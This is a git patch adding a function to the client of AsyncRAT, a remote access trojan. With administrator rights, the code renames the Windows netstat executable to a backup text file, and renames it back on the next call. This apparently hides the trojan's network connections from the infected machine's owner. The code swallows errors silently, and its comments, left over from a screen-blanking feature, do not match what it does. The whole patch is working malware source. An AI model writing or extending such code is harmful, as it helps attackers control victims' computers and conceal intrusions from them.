From 5dc5eb697df3638cf1d34d9b2de5c014fd6662fd Mon Sep 17 00:00:00 2001 From: MrDevBot Date: Mon, 17 Jun 2019 14:47:39 +1000 Subject: [PATCH] Created HandleNetStat Function --- .../Client/Handle Packet/HandleNetStat | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleNetStat diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat b/AsyncRAT-C#/Client/Handle Packet/HandleNetStat new file mode 100644 index 0000000..1bff2b8 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleNetStat @@ -0,0 +1,39 @@ +using Client.Helper; +using System; + +namespace Client.Handle_Packet +{ + class HandleNetStat + { + static bool switcher = false; + public static void RunNetStat() + { + //light switch logic CopyPasta by MrDevBot + if (!Methods.IsAdmin()) return; //if we are not admin return + + if (switcher == false) //The current screen is NOT blanked and needs to be + { + try + { + System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt"); + } + catch(Exception ex) //probably AntiTamper protection or Admin Privilages + { } + + switcher = true; //sets the switch to on for next click + return; //returns to calling function + } + else //the screen is blanked and should be switched back to old + { + try + { + System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE"); + } + catch (Exception ex) //probably AntiTamper protection or Admin Privilages + { } + switcher = false; //sets the switch to off for next click + return; //returns to calling function + } + } + } +}